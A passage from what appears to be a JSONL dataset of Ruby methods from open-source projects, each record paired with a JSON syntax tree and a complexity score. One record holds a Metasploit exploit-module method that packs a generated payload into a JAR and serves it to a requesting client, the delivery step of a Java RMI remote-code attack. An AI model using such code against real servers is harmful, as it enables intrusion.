required\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifiers\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"One or more finder arguments are required\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwords\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"lvar\",\"children\":[\"identifiers\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwords\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"authenticate_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwords\"]},\"size\"]}]},{\"type\":\"lvar\",\"children\":[\"record\"]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"passwords\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"4cd4a5d2-52ab-4d01-ae96-86ca3b9e6505"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job/iterable.rb","start_line":55,"raw_source":"def cancel!\n return @_cancelled if cancelled?\n\n key = iteration_key\n _, result, _ = Sidekiq.redis do |c|\n c.pipelined do |p|\n p.hsetnx(key, \"cancelled\", Time.now.to_i)\n p.hget(key, \"cancelled\")\n p.expire(key, Sidekiq::Job::Iterable::STATE_TTL, \"nx\")\n end\n end\n @_cancelled = result.to_i\n end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_cancelled\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"iteration_key\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"hsetnx\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"cancelled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"hget\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"cancelled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Job\"]},\"Iterable\"]},\"STATE_TTL\"]},{\"type\":\"str\",\"children\":[\"nx\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_cancelled\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_i\"]}]}]}]}","id":"2a6e6a68-bd66-4b26-9c94-fecd14d264d3"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/list_controller.rb","start_line":462,"raw_source":"def construct_url_with(action, opts, url_prefix = nil)\n method = url_prefix.blank? ? \"#{action_name}_path\" : \"#{url_prefix}_#{action_name}_path\"\n\n page_params =\n case action\n when :prev\n prev_page_params\n when :next\n next_page_params\n else\n raise \"unreachable\"\n end\n\n opts = opts.dup\n\n if SiteSetting.unicode_usernames && opts[:group_name]\n opts[:group_name] = UrlHelper.encode_component(opts[:group_name])\n end\n\n opts.delete(:category) if page_params.include?(:category_slug_path_with_id)\n\n url = public_send(method, opts.merge(page_params)).sub(\".json?\", \"?\")\n\n # Unicode usernames need to be encoded when calling Rails' path helper. However, it means that the already\n # encoded username are encoded again which we do not want. As such, we unencode the url once when unicode usernames\n # have been enabled.\n url = UrlHelper.unencode(url) if SiteSetting.unicode_usernames\n\n url\n end","complexity_score":35.5,"ast_json":"{\"type\":\"def\",\"children\":[\"construct_url_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"opts\"]},{\"type\":\"optarg\",\"children\":[\"url_prefix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_prefix\"]},\"blank?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_name\"]}]},{\"type\":\"str\",\"children\":[\"_path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_prefix\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_name\"]}]},{\"type\":\"str\",\"children\":[\"_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page_params\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"prev\"]},{\"type\":\"send\",\"children\":[null,\"prev_page_params\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"next\"]},{\"type\":\"send\",\"children\":[null,\"next_page_params\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"unreachable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"unicode_usernames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"encode_component\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_name\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_params\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"category_slug_path_with_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"category\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"page_params\"]}]}]},\"sub\",{\"type\":\"str\",\"children\":[\".json?\"]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"unicode_usernames\"]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"unencode\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}","id":"f8115b84-b12a-4009-a912-75140f7612de"} {"repo_name":"liquid","file_path":"./repos/liquid/test/unit/strainer_template_unit_test.rb","start_line":72,"raw_source":"def test_add_filter_does_not_include_already_included_module\n mod = Module.new do\n class << self\n attr_accessor :include_count\n def included(_mod)\n self.include_count += 1\n end\n end\n self.include_count = 0\n end\n strainer = Context.new.strainer\n strainer.class.add_filter(mod)\n strainer.class.add_filter(mod)\n assert_equal(1, mod.include_count)\n end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_filter_does_not_include_already_included_module\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"include_count\"]}]},{\"type\":\"def\",\"children\":[\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_mod\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"include_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"include_count=\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"strainer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Context\"]},\"new\"]},\"strainer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strainer\"]},\"class\"]},\"add_filter\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strainer\"]},\"class\"]},\"add_filter\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"include_count\"]}]}]}]}","id":"57252c35-9b47-4f90-b522-9032e2ce3009"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":342,"raw_source":"def test_assert_no_changes_with_from_option_with_wrong_value\n assert_raises Minitest::Assertion do\n assert_no_changes \"@object.num\", from: -1 do\n # ...\n end\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_changes_with_from_option_with_wrong_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_changes\",{\"type\":\"str\",\"children\":[\"@object.num\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}","id":"2a7054fa-cf77-45e4-ae3c-1bfc1b09287f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2095,"raw_source":"def ci_integrations\n integrations.where(category: :ci)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_integrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integrations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"sym\",\"children\":[\"ci\"]}]}]}]}]}","id":"ded0cd3f-dc5c-4beb-b9c0-1624ab1740e6"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/map_controller.rb","start_line":90,"raw_source":"def points_from_import\n current_user.imports.find(params[:import_id]).points.without_raw_data.order(timestamp: :asc)\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"points_from_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"imports\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"import_id\"]}]}]},\"points\"]},\"without_raw_data\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]}","id":"fa2cdee1-73ef-4c16-8541-b235e815322e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/user_creates_image_diff_notes_spec.rb","start_line":209,"raw_source":"def switch_to_swipe_view\n # it isn't given the .swipe class in the merge request diff\n find('.view-modes-menu li:nth-child(2)').click\n expect(find('.view-modes-menu li.active')).to have_content('Swipe')\n\n set_image_diff_sources\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_swipe_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".view-modes-menu li:nth-child(2)\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".view-modes-menu li.active\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"Swipe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_image_diff_sources\"]}]}]}","id":"9eeed58d-8ea6-4547-99ad-2bb74eba6d35"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/hg_ensure_clean_status.rb","start_line":8,"raw_source":"def self.run(params)\n repo_clean = `hg status`.empty?\n\n if repo_clean\n UI.success('Mercurial status is clean, all good! 😎')\n Actions.lane_context[SharedValues::HG_REPO_WAS_CLEAN_ON_START] = true\n else\n UI.user_error!('Mercurial repository is dirty! Please ensure the repo is in a clean state by committing/stashing/discarding all changes first.')\n end\n end","complexity_score":7.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo_clean\",{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hg status\"]}]},\"empty?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_clean\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Mercurial status is clean, all good! 😎\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"HG_REPO_WAS_CLEAN_ON_START\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Mercurial repository is dirty! Please ensure the repo is in a clean state by committing/stashing/discarding all changes first.\"]}]}]}]}]}","id":"48df6e7c-98c4-496a-a3da-1a6e60ec2472"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/activities/activity_eager_loading_wrapper.rb","start_line":103,"raw_source":"def includes_for(journable_type)\n journable_type == \"Project\" ? [:project_custom_field_project_mappings] : [:project]\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"includes_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journable_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journable_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Project\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_custom_field_project_mappings\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]}","id":"d28125a1-aab3-4a89-ad3b-2e9b45f1f572"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/placeholder_users/row_component.rb","start_line":49,"raw_source":"def delete_link\n if helpers.can_delete_placeholder_user?(placeholder_user, User.current)\n link_to deletion_info_placeholder_user_path(placeholder_user) do\n helpers.tooltip_tag I18n.t(\"placeholder_users.delete_tooltip\"), icon: \"icon-delete\"\n end\n else\n helpers.tooltip_tag I18n.t(\"placeholder_users.right_to_manage_members_missing\"), icon: \"icon-help2\"\n end\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"can_delete_placeholder_user?\",{\"type\":\"send\",\"children\":[null,\"placeholder_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"deletion_info_placeholder_user_path\",{\"type\":\"send\",\"children\":[null,\"placeholder_user\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"tooltip_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"placeholder_users.delete_tooltip\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"icon-delete\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"tooltip_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"placeholder_users.right_to_manage_members_missing\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"icon-help2\"]}]}]}]}]}]}","id":"7fc25184-c864-439b-9616-7ff7c93f230e"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/ack_handler.rb","start_line":104,"raw_source":"def enqueue(node, sock, cid)\n info = ACKWaitingSockInfo.new(sock, cid, Base64.encode64(cid), node, Fluent::Clock.now + @timeout)\n @mutex.synchronize do\n @ack_waitings << info\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"cid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACKWaitingSockInfo\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"cid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"lvar\",\"children\":[\"cid\"]}]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"now\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@timeout\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ack_waitings\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]}","id":"6c68ec55-8266-46d1-aeb4-fe0c7540fa1c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_rmi_server.rb","start_line":178,"raw_source":"def on_request_uri(cli, request)\n if request.uri =~ /\\.jar$/i\n p = regenerate_payload(cli)\n jar = p.encoded_jar\n paths = [\n [ \"metasploit\", \"RMILoader.class\" ],\n [ \"metasploit\", \"RMIPayload.class\" ],\n ]\n\n jar.add_file('metasploit/', '') # create metasploit dir\n paths.each do |path_parts|\n path = ['java', path_parts].flatten.join('/')\n contents = ::MetasploitPayloads.read(path)\n jar.add_file(path_parts.join('/'), contents)\n end\n\n send_response(cli, jar.pack,\n {\n 'Content-Type' => 'application/java-archive',\n 'Connection' => 'close',\n 'Pragma' => 'no-cache'\n })\n\n print_status(\"Replied to request for payload JAR\")\n cleanup_service\n end\n end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.jar$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jar\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded_jar\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metasploit\"]},{\"type\":\"str\",\"children\":[\"RMILoader.class\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metasploit\"]},{\"type\":\"str\",\"children\":[\"RMIPayload.class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"metasploit/\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"lvar\",\"children\":[\"path_parts\"]}]},\"flatten\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MetasploitPayloads\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"add_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]},\"pack\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/java-archive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"close\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Replied to request for payload JAR\"]}]},{\"type\":\"send\",\"children\":[null,\"cleanup_service\"]}]},null]}]}","id":"33337322-879b-4896-86cb-ae04cc1589b1"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_single_line_suitability.rb","start_line":34,"raw_source":"def comment_within?(node)\n comment_line_numbers = processed_source.comments.map { |comment| comment.loc.line }\n\n comment_line_numbers.any? do |comment_line_number|\n comment_line_number.between?(node.first_line, node.last_line)\n end\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_within?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment_line_numbers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"loc\"]},\"line\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_line_numbers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment_line_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_line_number\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_line\"]}]}]}]}]}","id":"7407d517-de38-4082-96e7-952903c427b7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/users_extractor.rb","start_line":70,"raw_source":"def usernames\n references.map { _1.delete_prefix('@') }\n 